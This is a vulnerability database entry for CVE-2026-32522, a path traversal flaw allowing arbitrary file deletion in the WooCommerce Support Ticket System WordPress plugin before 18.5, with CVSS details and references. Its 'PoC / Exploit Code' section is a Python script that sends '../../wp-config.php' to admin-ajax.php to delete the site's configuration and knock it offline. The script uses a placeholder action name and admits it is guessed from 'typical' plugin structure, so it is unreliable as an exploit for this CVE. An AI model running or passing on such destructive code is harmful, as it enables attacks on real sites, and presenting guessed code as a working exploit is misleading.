CVE-2026-32522

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in vanquish WooCommerce Support Ticket System woocommerce-support-ticket-system allows Path Traversal.This issue affects WooCommerce Support Ticket System: from n/a through < 18.5.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

WooCommerce Support Ticket System < 18.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target):
    # The endpoint vulnerable to path traversal (example based on typical WP plugin structure)
    url = f"{target}/wp-admin/admin-ajax.php"
    
    # Payload attempting to delete a critical file
    data = {
        "action": "vulner_action", 
        "file": "../../wp-config.php" 
    }
    
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            print(f"[+] Request sent to {target}. Check if site is down.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Target URL
target_site = "http://example.com"
exploit(target_site)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32522
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32522
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32522/
[4] VulDB https://vuldb.com/cve/CVE-2026-32522
[5] https://patchstack.com/database/Wordpress/Plugin/woocommerce-support-ticket-system/vulnerability/wordpress-woocommerce-support-ticket-system-plugin-18-5-arbitrary-file-deletion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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